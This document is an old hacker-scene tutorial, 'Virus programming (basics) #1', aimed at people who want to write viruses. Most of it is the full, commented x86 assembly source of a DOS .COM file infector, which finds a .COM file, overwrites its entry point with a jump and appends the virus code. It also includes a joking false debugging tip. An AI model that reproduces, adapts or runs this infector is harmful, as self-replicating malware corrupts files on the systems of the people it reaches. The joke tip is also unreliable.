Virus programming (basics) #1... ----------------------------------------------------------------- This section is dedicated to those who would like to write a virus, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed!. Well, if you meet these requisites, keep reading this article.... JE READ JNE FUCK_YOU! READ: The survival of a virus is based in its ability to reproduce. "So how the fuck do I make a program reproduce?", you might ask. Simple, by getting it to copy itself to other files.... The functional logic of a virus is as follows: 1- Search for a file to infect 2- Open the file to see if it is infected 3- If infected, search for another file 4- Else, infect the file 5- Return control to the host program. The following is an example of a simple virus: ;**************************************************************** ; START OF THE EXAMPLE: ;**************************************************************** ;Warning, this example is a (piece of shit?) ; - The virus does not test for prior infection ; - it searches only for the first .COM file in the current ; directory ; ; Careful when executing this file, since the first time it's ; executed it will search for and infect the first file in the ; directory. If we later run the newly infected file, it will find ; the first file in its directory, itself. Thus, it will re-infect ; itself over and over. ;===================CODIGO======================================= ;(The variables in a .COM file are relative to offset 100h). codigo segment 'code' org 100h ;Organize all the code starting ; from offset 100h assume cs:codigo,ds:codigo,es:codigo ;Define the use of the ;segments start proc far ;Start the routine COMIENZO: push cs ;Store CS push cs ;Store CS ; once again. pop ds ;Bring DS out from stack pop es ;Bring ES out from stack call falso_proc ;Call proc. so that its ; address is placed in the stack falso_proc proc near falso_proc endp pop bp ;BP<== Proc. address. sub bp, 107h ;BP<== BP - Previous directory ;This is done to take the variables relative to BP, since the ;infection displaces the variables at exactly the length of the ; file. At the first infection, instruction "SUB BP, 107h" is ; 107h, so that the contents of BP is 0; when I call a variable ; with "BP+VARIABLE" the value of the variable's address is not ; modified. When I load it , for example, from a 100h byte ; infected file, the instruction "SUB BP, 107h" leaves me at ; address 207h which means BP=100h, the size of the original file. ; Had I called the variable without adding BP, I would have been ; short by 100h bytes. ;Find the first .COM file in the directory ----------------------------------------- mov ah, 4eh ;Search for the 1st file lea dx, bp+file_inf ;DS:DX= offset of FILE_INF ;(*.*) so it will search all ;the files, including directory ;names with extensions. mov cx, 0000h ;Entry attributes int 21h ;These attributes mentioned in the commentary are the directory's ; entry attributes. When I set the attributes to 0, I'm telling ; DOS to search normal files. If I include a bit combination which ; provides the Hidden, System or Directory attributes, DOS will ; search for files with those attributes, as well as the normal ; files. If the search range includes the Volume bit, the search ; is limited to that. ;These are the bits which correspond to each attribute: ;Bits: 7 6 5 4 3 2 1 0 ; . . . . . . . 1 Bit 0: Read only ; . . . . . . 1 . Bit 1: Hidden ; . . . . . 1 . . Bit 2: System ; . . . . 1 . . . Bit 3: Volume ; . . . 1 . . . . Bit 4: Directory ; . . 1 . . . . . Bit 5: File ; ;Bits 6 and 7 are not used as they are reserved for "future ; applications". ;Open file ;---------------------------------------------------------------- mov ah, 3dh ;Open the file. mov al, 00000010b ;read/write. mov dx, 009eh ;DX<== DTA(filename) offset int 21h ;put the handle in AX push ax ;and store in stack. ;The attributes I'm setting in AL are not the same as before. ; These are the "open" attributes. We are only interested in the ; first 3 bits, ;bits 2 1 0: ; ; 0 0 0 Read only mode ; 0 0 1 Write only mode ; 0 1 0 Read/Write mode ; ;OK, we now have the file attributes stored in AL. What we now ; need to do is to store in DX the offset of the variable where ; I've stored the ASCIIZ chain with the name of the file to be ; opened. In this case, we don't have a NAME_OF_FILE variable. ; Instead, the name is located in the DTA (Disk Transfer Area). I ; we have it in the DTA...... Why? Simply because when we search ; for a file to infect, all the information we need is returned to ; this memory area. This buffer, if it was not reset, is found in ; the PSP; more precisely, it starts at offset 80h and is 43d bytes ; in size. ; ;The DTA format is as follows: ; ;Offset Bytes Function ; 00h 21d Used by DOS for the 4fh service ; (search for the next file) ; 15h 01d Attributes of the file that's been found ; 16h 02d File time ; 18h 02d File date ; 1Ah 04d File size in bytes ; 1Eh 13d File name in an ASCIIZ chain ; (FILENAME.EXT),0 ; ;Well, all that remains to be doe is to give DX the position in ; memory where I've stored the filename: "MOV DX, E1h" and its's ; done. But careful now, remember that DTA starts at offset 80h, ; which means I have to pass to DX the value "80h+1Eh = 9Eh". That ; would than leave "MOV DX, 9Eh"; the problem is solved. Now you are probably asking yourselves what I mean by "handle". The handle is a number which tells DOS which file we want. DOS gives us a handle for each file we open so we have to be careful to have the correct handle for each file which we read/write. ;Read the first 3 bytes. ----------------------------------------------------- pop bx ;I take the handle from the ;stack to BX push bx ;and I store it again. mov ah, 3fh ;Read file. mov cx, 0003h ;Read 3 bytes. lea dx, bp+buffer ;and store in the buffer. int 21h INFECTAR: ;(infect) ;Move pointer to the start. --------------------------------------------------- mov ax, 4200h ;I move the write pointer ;to the beginning of the program mov cx, 0000h mov dx, 0000h int 21h ;The pointer's displacement, relative to the position of the ; pointer as specified in AL, is placed in CX and DX. ; Pointer displacement modes set in AL: ; AL <== 00 Move pointer to the beginning of the file. ; AL <== 01 leave pointer where it is. ; AL <== 02 Move pointer to end-of-file. ;Write the first byte (jmp) ------------------------------------------------- mov ah, 40h ;write the first byte. mov cx, 1d ;Quantity=1. lea dx, bp+jump ;DX<== JUMP offset int 21h ;(Here we still need the handle, but we don't need to set it again ; because the register which contained the information was not ; modified. ; ;The first byte to be written is a JUMP instruction (the symbol for ; the jump is below). What follows the jump is the address of the ; jump, file-length + 1. (test the "+ 1" thoroughly, since this ; can cause problems; if so, multiply by 18 or subtract 23.) ; Hehehehe. ;Since the entire virus code is copied at the end of the file, the ; jump gives the virus control in an infected file. ;Calculating file length ------------------------------------------------- mov cx, 2 ;Copy 2 bytes. mov si, 009ah ;SI<== DTA offset lea di, bp+longitud ;DI<== File LENGTH offset. rep movsb ;Copy. ;This instruction must have the 'SOURCE' buffer address in DS:SI ; and the address where the string will be copied in ES:DI (in this ; case, I copy the file length of the DTA to the variable ; 'LONGITUD'). sub word ptr [bp+longitud], 3 ;subtract 3 bytes from ;[LONGITUD] ;The JMP is completed -------------------------------------- mov ah, 40h ;Write. mov cx, 2d ;Number of bytes. lea dx, bp+longitud ;DX<== LONGITUD (length) ; offset int 21h ;Move pointer to end ------------------------------------------------------- mov ax, 4202h ;Move the write pointer to the ;end of the program. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;Restore LONGITUD. ;Copy the virus to the program. --------------------------------------------------- pop bx ;Restore the handle. mov ah, 40h mov cx, 190d ;number of bytes to copy. lea dx, bp+comienzo ;Start copying from.... int 21h ;Close the file after infection ------------------------------------ mov ah, 3eh ;Close file. int 21h ;Here, too, we need in DS:DX the address of the buffer which ; contains the filename string, but in this case DS and DX already ; contain those values from before. NO_INFECTAR: ;==================RETURN CONTROL TO THE HOST===================== ;Copy the buffer which contains the first 3 bytes of the file into ; memory. ------------------ mov cx, 0003h ;Number of bytes (3). mov di, 0100h ;DI<== offset 100h. Beginning of the ;program in memory. lea si, bp+buffer ;SI<== BUFFER offset rep movsb ;Copy. ;What we are doing here is to "fix" the file, since when it was ; infected, the first few bytes are overwritten by the virus. That ; is why we reconstruct the file to its original state, by copying ; the first 3 bytes, which we had stored earlier, into memory. ;Jump to offset 100h -------------------------------------------------------- mov ax, 0100h ;Address needed to execute the host jmp ax ;As we mentioned before, in .COM files the executable code begins ; at offset 100h. The information found between 00h and 100h is ; program data, like the DTA for example. ;The main difference between a .COM file and an .EXE is that a .COM ; cannot occupy more than one memory segment, or 65535 bytes. ; .EXEs can, because DOS can 'tailor' them to fit into a number of ; different segments. Unlike.EXE files. .COM files are faithful ; reproductions of the contents of memory. ;====================DATA AREA=================================== buffer db 7d dup(0) longitud db 2 dup(0) file_inf db '*.COM',0 jump db 'é',0 ;<----jump ascii ;(The character '0' is the end of the ASCIIZ string) start endp ;End of main procedure codigo ends ;end of code segment end comienzo ;END. Go to COMIENZO ;**************************************************************** ; END OF EXAMPLE ;**************************************************************** Drako.